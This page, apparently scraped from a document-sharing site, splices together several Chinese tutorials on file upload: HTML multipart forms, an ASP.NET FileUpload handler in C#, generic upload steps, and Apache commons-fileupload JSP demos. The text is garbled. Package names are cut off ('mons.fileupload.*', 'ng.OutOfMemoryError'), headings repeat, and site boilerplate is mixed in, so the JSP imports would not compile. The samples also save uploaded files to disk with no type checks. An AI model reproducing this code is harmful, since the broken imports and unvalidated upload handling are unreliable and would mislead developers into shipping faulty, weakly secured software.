使⽤FileUpload组件上传⽂件⼀、进⾏⽂件上传时, 表单需要做的准备1.请求⽅式为 POST:<form action="uploadServlet" method="post" ... >2. 使⽤ file 的表单域: <input type="file" name="file"/>3. 使⽤ multipart/form-data 的请求编码⽅式:<form action="uploadServlet" method="post" enctype="multipart/form-data"> File: <input type="file" name="file"/> <input type="submit" value="Submit"/></form>4. 关于 enctypeapplication/x-www-form-urlencoded:表单 enctype 属性的默认值。

这种编码⽅案使⽤有限的字符集,当使⽤了⾮字母和数字时,必须⽤”%HH”代替(H 代表⼗六进制数字)。

对于⼤容量的⼆进制数据或包含⾮ ASCII 字符的⽂本来说,这种编码不能满⾜要求。

multipart/form-data:form 设定了enctype=“multipart/form-data”属性后,表⽰表单以⼆进制传输数据。

⼆、服务端不能再使⽤ request.getParameter() 等⽅式获取请求信息. 获取不到, 因为请求的编码⽅式已经改为 multipart/form-data, 以⼆进制的⽅式来提交请求信息。

fileupload控件的用法

fileupload控件的用法

`FileUpload`控件是 中用于文件上传的服务器控件。

它允许用户选择文件并将其上传到服务器。

以下是一个示例,展示了如何使用`FileUpload`控件上传文件:```html<form id="uploadForm" runat="server"><div><label for="fileUpload">选择文件:</label><asp:FileUpload ID="fileUpload" runat="server" /><br /><input type="submit" value="上传" onclick="UploadFile" /></div></form>```在上述示例中,创建了一个表单,包含一个`FileUpload`控件和一个提交按钮。

用户可以通过点击"选择文件"按钮选择要上传的文件。

为了处理文件上传的逻辑,可以在服务器端编写相应的代码。

在`UploadFile`按钮的点击事件中,可以调用`FileUpload`控件的`SaveAs`方法来保存上传的文件。

以下是一个示例:```csharpprotected void UploadFile(object sender, EventArgs e){if (fileUpload.PostedFile != null){// 获取上传文件的名称string fileName = fileUpload.FileName;// 指定上传文件的路径string filePath = @"C:\Uploads\" + fileName;// 保存上传的文件fileUpload.SaveAs(filePath);Response.Write("文件上传成功!");}else{Response.Write("请选择文件!");}}```上述代码首先检查`FileUpload`控件是否有上传的文件。

文件上传-CommonsFileUpload介绍

文件上传-CommonsFileUpload介绍

⽂件上传-CommonsFileUpload介绍⼀、概述FileUpload能够以多种不同的⽅式使⽤,具体取决于应⽤程序的要求。

在最简单的情况下,调⽤单个⽅法来解析servlet请求,然后处理解析出来的Item 集合。

此外也可以⾃定义FileUpload已完全控制各个Item的存储⽅式,⽐如设置缓存⽬录、直接将接收到的Item以流的形式写⼊数据库等。

FileUpload依赖于Commons IO,因此类路径下要有Commons IO的jar包。

当然采⽤Maven依赖的⽅式不⽤担⼼,maven会⾃动下载Commons IO包。

⼆、FIleUpload使⽤上传⽂件,注意⼏个问题:① form表单内,要添加空间<input type="file" name="myfile">② form表单的内容格式要定义成multipart/form-data格式:<form action="admin/good_add" method="post" enctype="multipart/form-data">③需要类库:1 commons-io.jar ,2 commons-fileupload-1.3.1.jar接下来我们看下他的⽤法。

1)DiskFileItemFactory factory = new DiskFileItemFactory();FileItemFactory可以设置内容:● setRepository(File dir);//设置临时⽂件存储位置。

● setSizeThreshold(long bytes);//设置请求⼤⼩阈值,当请求⼤于该值时,接收到的数据是缓存在磁盘中的,否则直接缓存到内存中。

● setFileCleaningTracker(FileCleaningTracker pTracker);//设置临时⽂件清理跟踪器2)创建核⼼类-⽂件解析对象ServletFileUpload upload = new ServletFileUpload(DiskFileItemFactory factory);ServletFileUpload可以设置内容:● setSizeMax(long bytes);//设置整个请求的最⼤值,⼤于该值时,不允许传送。

upload使用方法

upload使用方法

upload使用方法
要使用upload方法,您需要执行以下步骤:
1. 找到要上传的文件或文件夹。

确保您有适当的权限来访问它们。

2. 创建一个连接到您要上传文件的目标位置的客户端。

这通常是一个FTP或HTTP客户端,具体取决于您要上传的目标服务器。

3. 打开连接并登录到服务器。

您可能需要提供用户名和密码来进行身份验证。

4. 使用客户端的upload方法来上传文件或文件夹。

方法的确切名称可能会有所不同,具体取决于您使用的客户端库。

通常,您需要提供要上传的文件的路径和目标服务器上的目标路径。

5. 等待上传完成并检查是否成功。

上传过程可能需要一些时间,具体取决于文件的大小和网络速度。

一旦上传完成,您可以根据需要检查上传结果。

请注意,upload方法的确切用法和参数可能因使用的客户端库而异。

确保查阅相关文档以了解更多细节和示例。

Apache文件上传

Apache文件上传

Apache文件上传环境搭建:从apache官方网站下载相关的包后,需要以下包:commons-fileupload-1.2.1.jarcommons-io-1.4.jar依赖的jar包简介:Java Web开发人员可以使用Apache文件上传组件来接收浏览器上传的文件,该组件由多个类共同组成,但是,对于使用该组件来编写文件上传功能的Java Web开发人员来说,只需要了解和使用其中的三个类:DiskFileUpload、FileItem和FileUploadException。

这三个类全部位于mons.fileupload包中。

¾DiskFileUpload类 ServletFileUpload类类是Apache文件上传组件的核心类,应用程序开发人员通过这个类来与Apache文件上传组件进行交互。

现在Apache建议使用ServletFileUpload类,两个类的方法类似。

setSizeMax方法setSizeMax方法用于设置请求消息实体内容的最大允许大小,以防止客户端故意通过上传特大的文件来塞满服务器端的存储空间,单位为字节。

如果请求消息中的实体内容的大小超过了setSizeMax方法的设置值,该方法将会抛出FileUploadException异常。

setSizeThreshold方法Apache文件上传组件在解析和处理上传数据中的每个字段内容时,需要临时保存解析出的数据。

因为Java虚拟机默认可以使用的内存空间是有限的,超出限制时将会发生“ng.OutOfMemoryError”错误,如果上传的文件很大,例如上传800M的文件,在内存中将无法保存该文件内容,Apache文件上传组件将用临时文件来保存这些数据;但如果上传的文件很小,例如上传600个字节的文件,显然将其直接保存在内存中更加有效。

setSizeThreshold方法用于设置是否使用临时文件保存解析出的数据的那个临界值,该方法传入的参数的单位是字节。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

将Apache的commons-fileupload.jar放在应用程序的WEB-INF\lib下,即可使用。

下面举例介绍如何使用它的文件上传功能。

所使用的fileUpload版本为1.2,环境为Eclipse3.3+MyEclipse6.0。

FileUpload 是基于Commons IO的,所以在进入项目前先确定Commons IO的jar包(本文使用commons-io-1.3.2.jar)在WEB-INF\lib下。

此文作示例工程可在文章最后的附件中下载。

示例1最简单的例子,通过ServletFileUpload静态类来解析Request,工厂类FileItemFactory会对mulipart类的表单中的所有字段进行处理,不只是file字段。

getName()得到文件名,getString ()得到表单数据内容,isFormField()可判断是否为普通的表单项。

demo1.html<html><head><meta http-equiv="Content-Type" content="text/html; charset=GB18030"><title>File upload</title></head><body>//必须是multipart的表单数据。

<form name="myform" action="demo1.jsp" method="post"enctype="multipart/form-data">Your name: <br><input type="text" name="name" size="15"><br>File:<br><input type="file" name="myfile"><br><br><input type="submit" name="submit" value="Commit"></form></body></html>demo1.jsp<%@ page language="java" contentType="text/html; charset=GB18030"pageEncoding="GB18030"%><%@ page import="mons.fileupload.*"%><%@ page import="mons.fileupload.servlet.*"%><%@ page import="mons.fileupload.disk.*"%><%@ page import="java.util.*"%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><%boolean isMultipart = ServletFileUpload.isMultipartContent(request);//检查输入请求是否为multipart表单数据。

if (isMultipart == true) {FileItemFactory factory = new DiskFileItemFactory();//为该请求创建一个DiskFileItemFactory对象,通过它来解析请求。

执行解析后,所有的表单项目都保存在一个List中。

ServletFileUpload upload = new ServletFileUpload(factory);List<FileItem> items = upload.parseRequest(request);Iterator<FileItem> itr = items.iterator();while (itr.hasNext()) {FileItem item = (FileItem) itr.next();//检查当前项目是普通表单项目还是上传文件。

if (item.isFormField()) {//如果是普通表单项目,显示表单内容。

String fieldName = item.getFieldName();if (fieldName.equals("name")) //对应demo1.html中type="text" name="name"out.print("the field name is" + item.getString());//显示表单内容。

out.print("<br>");} else {//如果是上传文件,显示文件名。

out.print("the upload file name is" + item.getName());out.print("<br>");}}} else {out.print("the enctype must be multipart/form-data");}%><html><head><meta http-equiv="Content-Type" content="text/html; charset=GB18030"><title>File upload</title></head><body></body></html>结果:the field name isjeffthe upload file name isD:\C语言考试样题\作业题.rar示例2上传两个文件到指定的目录。

demo2.html<html><head><meta http-equiv="Content-Type" content="text/html; charset=GB18030"><title>File upload</title></head><body><form name="myform" action="demo2.jsp" method="post"enctype="multipart/form-data">File1:<br><input type="file" name="myfile"><br>File2:<br><input type="file" name="myfile"><br><br><input type="submit" name="submit" value="Commit"></form></body></html>demo2.jsp<%@ page language="java" contentType="text/html; charset=GB18030"pageEncoding="GB18030"%><%@ page import="mons.fileupload.*"%><%@ page import="mons.fileupload.servlet.*"%><%@ page import="mons.fileupload.disk.*"%><%@ page import="java.util.*"%><%@ page import="java.io.*"%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><%String uploadPath="D:\\temp";boolean isMultipart = ServletFileUpload.isMultipartContent(request);if(isMultipart==true){try{FileItemFactory factory = new DiskFileItemFactory();ServletFileUpload upload = new ServletFileUpload(factory);List<FileItem> items = upload.parseRequest(request);//得到所有的文件Iterator<FileItem> itr = items.iterator();while(itr.hasNext()){//依次处理每个文件FileItem item=(FileItem)itr.next();String fileName=item.getName();//获得文件名,包括路径if(fileName!=null){File fullFile=new File(item.getName());File savedFile=new File(uploadPath,fullFile.getName());item.write(savedFile);}}out.print("upload succeed");}catch(Exception e){e.printStackTrace();}}else{out.println("the enctype must be multipart/form-data");}%><html><head><meta http-equiv="Content-Type" content="text/html; charset=GB18030"> <title>File upload</title></head><body></body></html>结果:upload succeed此时,在"D:\temp"下可以看到你上传的两个文件。

相关文档
最新文档